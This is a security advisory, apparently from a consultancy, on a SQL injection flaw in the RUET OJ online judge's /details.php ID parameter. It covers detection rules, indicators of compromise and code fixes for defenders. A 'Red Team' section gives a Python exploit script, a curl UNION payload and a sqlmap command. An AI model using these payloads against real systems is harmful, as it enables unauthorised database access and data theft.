CVE-2025-12329

Executive Summary

CVE-2025-12329 is a publicly disclosed SQL injection vulnerability in the shawon100 RUET OJ (Online Judge) application, up to commit 18fa45b0a669fa1098a0b8fc629cf6856369d9a5. The flaw resides in the /details.php file, where the ID parameter is not properly sanitized, allowing an unauthenticated remote attacker to inject arbitrary SQL commands. The vendor (Shawon100) has not responded to disclosure attempts, and no official patch exists. The exploit has been released publicly, increasing the risk of active exploitation. The CVSS score is 6.3 (Medium), but the ease of exploitation and public PoC elevate the real-world threat.

Supply Chain & Package Security

This is a custom PHP application (not an NPM, PyPI, Go, or Ruby package). No supply chain package manager is involved. The risk is limited to direct deployments of the RUET OJ software.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High (due to public exploit, no patch, and unauthenticated access).

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the ID parameter of /details.php. The application likely constructs a SQL query by directly concatenating user input without parameterization or escaping. An attacker can inject SQL commands by appending a single quote (') or other SQL metacharacters to the ID parameter.

Example vulnerable code (conceptual):

$id = $_GET['ID'];
$query = "SELECT * FROM problems WHERE id = $id";
$result = mysqli_query($conn, $query);

Exploitation mechanics:

• The attacker sends a crafted HTTP GET request to /details.php?ID=1' OR '1'='1.
• This modifies the SQL query to return all rows, bypassing authentication or extracting data.
• More advanced payloads can use UNION-based injection to retrieve data from other tables (e.g., users, credentials).

Vulnerable vs. Patched Code

Vulnerable code (conceptual):

$id = $_GET['ID'];
$query = "SELECT * FROM problems WHERE id = $id";
$result = mysqli_query($conn, $query);

Patched code (recommended):

$id = intval($_GET['ID']); // Cast to integer
$query = "SELECT * FROM problems WHERE id = $id";
$result = mysqli_query($conn, $query);

Or using prepared statements:

$stmt = $conn->prepare("SELECT * FROM problems WHERE id = ?");
$stmt->bind_param("i", $_GET['ID']);
$stmt->execute();
$result = $stmt->get_result();

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of RUET OJ (commit 18fa45b0a669fa1098a0b8fc629cf6856369d9a5 or earlier).
• Python 3 and requests library.

Exploit script (Python):

import requests

target = "http://target-oj.com/details.php"
payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
params = {"ID": payload}

response = requests.get(target, params=params)
print(response.text)

Manual exploitation with curl:

curl "http://target-oj.com/details.php?ID=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10--%20-"

SQLMap automation:

sqlmap -u "http://target-oj.com/details.php?ID=1" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious ID parameter values containing SQL keywords (UNION, SELECT, OR, ', --).
• Deploy a WAF rule to block SQL injection patterns.

Honeypot:

• Set up a decoy /details.php endpoint that logs all requests and alerts on SQL-like patterns.

Lab setup:

• Use Docker to deploy a vulnerable instance for testing:

FROM php:7.4-apache
COPY . /var/www/html/
RUN docker-php-ext-install mysqli

• Run: docker build -t ruet-oj-vuln . && docker run -p 8080:80 ruet-oj-vuln

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /details.php with ID parameter containing SQL metacharacters (', ", --, #, /*).
• Repeated requests with UNION, SELECT, FROM, WHERE in the ID parameter.
• Unusual response sizes or error messages containing SQL syntax errors.

File IOCs:

• Modified /details.php file (if attacker uploads webshell).
• Suspicious files in the web root (e.g., cmd.php, shell.php).

Log IOCs:

• Apache/Nginx access logs showing GET /details.php?ID=... with SQL patterns.
• PHP error logs containing mysqli_fetch_array() or mysql_fetch_assoc() errors.

Detection Engineering

YARA Rule

rule CVE_2025_12329_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-12329"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12329"
    strings:
        $sqli1 = /[?&]ID=.*['\"]/ nocase
        $sqli2 = /[?&]ID=.*UNION/i
        $sqli3 = /[?&]ID=.*SELECT/i
        $sqli4 = /[?&]ID=.*OR\s+1=1/i
    condition:
        any of ($sqli*)
}

Sigma Rule

title: CVE-2025-12329 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against /details.php ID parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-query|contains: 
            - "ID='"
            - "ID=%27"
            - "ID=1'"
            - "ID=1%27"
            - "UNION"
            - "SELECT"
            - "OR 1=1"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in ID (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12329 SQL Injection Attempt"; flow:to_server,established; content:"/details.php"; http_uri; content:"ID="; http_uri; pcre:"/(?:%27|'|%22|\")/i"; sid:202512329; rev:1;)

Remediation & Mitigation

Immediate actions:

1. Isolate the application from the internet if possible.
2. Apply virtual patching using a WAF (e.g., ModSecurity rule to block SQLi patterns).
3. Upgrade to a patched version if the vendor releases one (currently none).

Long-term fixes:

1. Rewrite the vulnerable code to use prepared statements or parameterized queries.
2. Input validation: Cast ID to integer or use strict whitelisting.
3. Least privilege: Ensure the database user has minimal permissions (no DROP/INSERT/UPDATE if not needed).

Workaround:

• Disable /details.php or restrict access via .htaccess:

<Files "details.php">
    Require all denied
</Files>

Valters IT